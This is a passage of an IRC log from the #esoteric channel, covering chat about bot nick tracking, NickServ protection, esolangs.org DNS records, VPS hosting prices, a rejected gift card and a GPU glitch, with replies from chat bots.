:Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :because people sometimes take each other's nick when the other is not online to troll people < 1396095895 600925 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :and one person can have different logins dependong on from wehere they connect < 1396095905 921252 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you can get the information from /whois < 1396095912 237878 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :so the algorithm grouped multiple 'real' people together as being one < 1396095931 610769 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the bor did /whois/ every time someone it itself connected < 1396096012 207424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: you should track the entirel nick!user@host part i think < 1396096015 812141 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-l < 1396096031 731215 :Slereah!~jackal@117.168.90.79.rev.sfr.net PRIVMSG #esoteric :Oh my gosh it's ZOMBOCOM < 1396096044 651041 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: oh wait that's what you mean by login < 1396096052 428884 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :for example, if you take me, it would have thought 6~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl and 6~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 were the same person < 1396096056 981508 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :freenode accounts are different again < 1396096069 640709 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and you can find those with /whois as well < 1396096084 534991 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(although you have to wait until they're finished registering) < 1396096159 231051 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :if i would do /nick oerjan|hm, then it would also group 6oerjan@sprocket.nvg.ntnu.no and think we're both the same person < 1396096188 779001 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yeah without proper registrations you cannot make it secure, really < 1396096204 291170 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well secure and convenient < 1396096220 217484 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :^ < 1396096234 770768 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so lambdabot doesn't even try. < 1396096265 461484 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i didnt even try fixing my message bot (actually just a small module within a much larger bot) and just discarded it < 1396096289 261165 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, lambdabot can't even track nicknames to begin with, so it's rather moot < 1396096295 442994 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@seen oerjan < 1396096295 629657 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :oerjAN < 1396096309 401284 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : @seen was removed ages ago < 1396096328 10951 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@seep < 1396096328 197693 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: slap leet help < 1396096338 862948 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@leet oerjan < 1396096339 88466 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :OERjan < 1396096349 741056 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :close enough < 1396096356 951067 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i think its awesome that someone went and made a bot in befunge < 1396096374 847542 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yes < 1396096397 71409 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :next: brainfuck < 1396096411 935736 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I suspect that having lambdabot issuing whois queries would create more problems than it could possibly solve. < 1396096455 112432 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i think you should built in a message list that the user has to clear manually, that way noone can 'lose' messages that are read by others < 1396096489 871465 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(it would also a design challenge, since it would add an asynchronous query to a design that's currently (mostly?) synchronous.) < 1396096492 951564 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: um it wouldn't prevent others from clearing the messages < 1396096506 641487 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i assume that they read it by accident < 1396096519 31402 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :otherwise keep te last 10 messages oir so < 1396096561 721061 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i'm not sure it happens that much by accident? lambdabot is not on _that_ many channels... < 1396096562 923483 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I would hate having to clear them explicitely. < 1396096571 50916 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Modify your own irc client to send them the message when they log in. < 1396096584 123645 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oerjan: 70 is a lot in my view. < 1396096584 722314 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :it messaged 'zom-b' that there were messages, and someone else took my nick < 1396096616 461506 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: yes but is it enough that people accidentally confuse nicks in them _and_ get @tells < 1396096647 657719 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :nah, I thought the problem was the opposite < 1396096668 541187 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :lambdabot is on 70 channels O_o? < 1396096669 779691 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :people changing nicks (or getting an _ appended, whatever) and never seeing that they got messages because of that. < 1396096671 760972 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: are you sure that happened < 1396096691 681028 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :yes < 1396096692 511623 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :Zom-B Nickname is already in use. < 1396096692 698245 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :- < 1396096692 698413 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de < 1396096692 698508 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :Zom-B using hobana.freenode.net Bucharest, RO < 1396096692 698600 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :ZOm-B End of /WHOIS list. < 1396096708 800780 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh well < 1396096729 741176 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396096737 51192 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :im not 100% sure that he actually got messages from lambdabot but what other explaination is ther? < 1396096759 740878 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: you can activate nickserv's protection against that if you want. < 1396096772 621351 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :al ready registered yesterday < 1396096808 441215 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i don't mean plain registration, there's a flag to automatically throw out people trying to use your nick without logging on < 1396096865 800927 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :enforce, right? < 1396096869 461761 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the downside is that you have to do some command to get on yourself afterward when it happens, iirc < 1396096883 241533 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :something like that < 1396096915 454282 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396096917 411162 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396096930 502013 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :you get a 60 second timer if you're not logged in, but i have a login script that runs on every connect < 1396097136 923206 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i just use a server password < 1396097182 481277 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Why am I still here < 1396097465 861681 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I just use a X.509 certificate. < 1396099261 843987 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1396100913 891664 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396100928 53781 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396101152 472897 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396101169 833363 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396101938 651742 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi QUIT :Quit: Leaving < 1396106340 784883 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396106902 462791 :ChanServ!ChanServ@services. MODE #esoteric -b :*!*elliot*@* > 1396106902 902217 NAMES :#esoteric < 1396106909 433554 :elliott!~elliott@unaffiliated/elliott JOIN :#esoteric < 1396106927 352322 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: the nameservers for esolangs.org should have been switched over now < 1396106930 718698 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(they are in whois locally) < 1396107690 511354 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I get ns1.twisted4life.com. and eos.zem.fi. < 1396107736 593922 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(from one of the .org nameservers) < 1396107750 914751 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :why was elliott banned? < 1396107764 319045 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I banned myself :P < 1396107771 312576 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :why? :) < 1396107787 873418 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :A guess: To get some sleep? < 1396107794 212343 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :because a spammer was playing whack-a-mole with names with elliott in it and I was bored < 1396107800 63283 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :*in them < 1396107820 412285 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: eos.zem.fi should be the "primary" one, but apparently DNS nameservers are unordered and the primary one just goes in another record or something? < 1396107821 874498 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ah. missed that. < 1396107827 292312 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I don't really know how DNS works. < 1396107849 312441 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I also don't know how long I should leave the esolangs.org records lying around in the Linode DNS... < 1396107851 33454 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :elliott: right that's an internal arrangement, the rest of DNS doesn't care. < 1396107892 463378 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(one step further you can see that: esolangs.org. 259200 IN SOA eos.zem.fi. postmaster.esolangs.org. 2014032301 28800 7200 2419200 86400) < 1396107912 946230 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :SOA meaning "start of authority" and eos.zem.fi being the authorative name server. < 1396107921 758938 :password2!~password@105.233.36.200 JOIN :#esoteric < 1396107994 372163 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ACTION nod < 1396108006 606291 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :while the .org server just shrugs its shoulders and refers you to two nameservers that should know more. < 1396108011 193178 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I just use Linode's web interface to set it all up initially because what's a DNS. < 1396108030 62709 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(I don't own the domain) < 1396108081 82567 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :linode! < 1396108087 192654 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :pfft, online.net is where it's at < 1396108128 272259 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it got set up in early 2012. < 1396108140 242557 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :way better pricing on mine < 1396108147 382806 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :you should move over! < 1396108163 613732 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :does this place even do VPSes? < 1396108177 112127 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :no < 1396108193 512466 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :but this is a crazy good deal: http://www.online.net/en/dedicated-server/dedibox-scg2 < 1396108198 482413 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I have one and it works fine < 1396108203 203165 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I don't wanna keep paying linode $20/mo, but I can get a VPS cheaper than these prices and I don't need the muscle :p < 1396108250 630701 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :heh, VIA, nice < 1396108275 884139 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1396108289 932273 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I also got myself one of these recently, that's very cute: http://www.amazon.com/gp/product/B00FWUVTS0 < 1396108329 704483 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1396108498 545915 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :cute. I wonder how long it takes to compile ghc on one of those ... < 1396108521 512125 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :haven't tried it yet :) < 1396109004 97890 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Anyway, I suspect it would be too weak for running lambdabot. < 1396109270 142224 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :really? < 1396109288 104101 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :you talking about the VIA box or the ARM one? < 1396109313 897895 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> text . map chr . scanl1 (+) $ [40,58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69] < 1396109314 782191 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:29:When elaborating an application of function 09Control.Category..: < 1396109314 968868 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable scanl1 < 1396109315 202751 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : (because ghc takes ages to load all the packages used by @run) < 1396109326 290006 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> text . map chr . scanl (+) 40 [58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69] < 1396109326 613007 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :When elaborating an application of function 09Control.Category..: < 1396109326 800222 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable scanl < 1396109327 311946 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Couldn't match expected type `a0 -> [GHC.Types.Int]' < 1396109327 498938 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : with actual type `[b0]' < 1396109331 66012 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :meh < 1396109336 305823 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> L.scanl < 1396109336 492665 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:When elaborating an application of constructor 04__infer: < 1396109336 679721 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable L.scanl < 1396109337 223579 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `L.scanl' < 1396109337 410462 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant one of these: < 1396109337 410651 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `P.scanl' (imported from Prelude), < 1396109337 410747 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `BSL.scanl' (imported from Data.ByteString.Lazy), < 1396109337 410842 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `BS.scanl' (imported from Data.ByteString) < 1396109365 46225 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :err. it worked the first time. mumble. < 1396109373 159256 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :idris-ircslave: begone < 1396109373 159431 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:When elaborating an application of constructor 04__infer: < 1396109373 159532 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : No such variable begone < 1396109395 765885 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :copumpkin: the via one < 1396109411 745935 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I have not looked at the arm one < 1396109411 932570 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :ah < 1396109426 332811 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I dunno, I guess I could try installing lambdabot on it and see :) < 1396109430 758015 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :with ARM I would worry about getting code to run. < 1396109497 137971 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :But I don't know whether this is a real concern. < 1396109542 162160 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION is a happy ramnode customer, for running lambdabot < 1396109657 341861 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I should probably verify that postmaster@esolangs.org also works, given that I stuck it in. < 1396109659 9894 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(They sell VMs, where essentially, you pay for provided RAM; a 1GB VM is about twice as expensive as a 512MB one. As far as I know, they don't overcommit that ressource.) < 1396109691 82256 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(hostmaster probably would've been the more appropriate alias in a SOA record, too.) < 1396109702 114720 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :which I found to be a refreshingly honest approach to selling VMs. < 1396109710 962361 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yup, they look nice < 1396109731 273169 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1396109741 652001 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :prgmr pricing is also RAM-based. < 1396109753 948807 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's some amount of dollars per every 64 MB. < 1396109787 852359 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"An easy to understand price schedule: $4/month per account, and $1/month for every 64MiB ram." < 1396109829 4956 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah < 1396109832 362244 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :I used to use prgmr < 1396109849 184960 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :but this online.net thing seemed like a pretty cheap baseline if you don't really need growth < 1396110062 93645 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :It is :) < 1396111136 563363 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1396111932 86199 :Sellyme!~Sellyme@199.127.227.147 PART :#esoteric < 1396114179 973686 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396114203 30820 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396114274 143747 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396114581 712314 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 265 seconds < 1396114987 423909 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 264 seconds < 1396115311 680435 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396115671 564764 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1396116276 702463 :password2!~password@105.233.36.200 QUIT :Ping timeout: 240 seconds < 1396116388 372471 :chaiomanot!~chaiomano@75-121-29-109.dyn.centurytel.net JOIN :#esoteric < 1396117544 151930 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396117819 153049 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1396118335 473518 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396118428 749072 :Melvar!~melvar@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :int-e: Was the “begone” serious? < 1396118515 401613 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396118517 541946 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396118727 177063 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396118916 687623 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 240 seconds < 1396119547 680277 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :o...k then < 1396119569 112408 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :American Express cards have a 4 digit security code printed elsewhere... but there's still a 3 digit code in the place I'm used to < 1396119569 983443 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :wtf < 1396119646 931104 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yes, the latter is very rarely needed, except occasionally when you are dealing with amex directly < 1396119760 743970 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1396119776 991818 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Do I need to register some kind of first+last name if I buy an Amex gift card for myself, and want to use it online? < 1396119842 443553 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The mygiftcard site wants the 3 digit code < 1396119851 325937 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :What the hell happened to my screen, I think my GPU might be borked.... Strange patterns in various rectangular areas of the screen. Switching to a VT and back fixed it. < 1396119894 631489 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Argh happened again < 1396119896 211755 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :bugz < 1396119915 144716 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 255 seconds < 1396119943 491209 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And BMT Micro is rejecting the card < 1396119954 711758 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Or maybe I'm making some mistake < 1396119973 665689 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is BMT Micro reputable enough that maybe I shouldn't have bothered with the gift card? < 1396119991 893014 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Well I was planning on a new GPU anyway, but maybe near the end of the year rather... < 1396120048 11107 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396120071 193058 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :did you try turning it off and then on again? < 1396120079 492105 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, very funny < 1396120084 131133 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::3 < 1396120098 891876 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Client Quit < 1396120102 81471 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :kmc, I know it is not the monitor, since I have two (of different makes), and it spanned both of them < 1396120116 470101 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :BMT Micro, IRT Micro, IND Micro < 1396120237 582694 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Ah, moving windows around to cause the screen to refresh fixed it too.. Third time now. < 1396120260 202762 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Also I have not updated drivers, kernel or anything like that, so likely the hardware is borked < 1396120472 941344 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :someone nicely added a {{Not typo}} template to Wierd in wikipedia's esolang article. except they miscapitalized it. < 1396120522 663916 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :IRONY < 1396120974 86727 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: no killing moths or putting boiling water on the ants < 1396120974 318255 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: i'm using ( gambit). did you implement concurrency, btw? < 1396120978 848534 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: i did not < 1396120979 250951 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: according to mr twig, the episode's not for two hours? that's about enough politics for me today, so i will need it < 1396120993 582343 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^style < 1396120993 769543 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube < 1396122623 31545 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So yeah, AmEx apparently rejected the order < 1396122623 731328 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( < 1396122630 451161 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So, I guess I should call them < 1396122825 770632 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't think I can easily get my money back out, so I'd rather spend it < 1396123118 962010 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1396123707 791333 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm that awful designed comic page is back. looking at the address, it seems i'm being forwarded to the mobile version. < 1396123713 251912 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+ly < 1396123785 671058 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah there it worked. hm... < 1396123841 810636 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah it only happens when i'm loading with zoom on < 1396124172 222709 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396124208 232201 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396124468 312558 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1396124740 763742 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Vorpal: Latest Nvidia drivers have an issue in 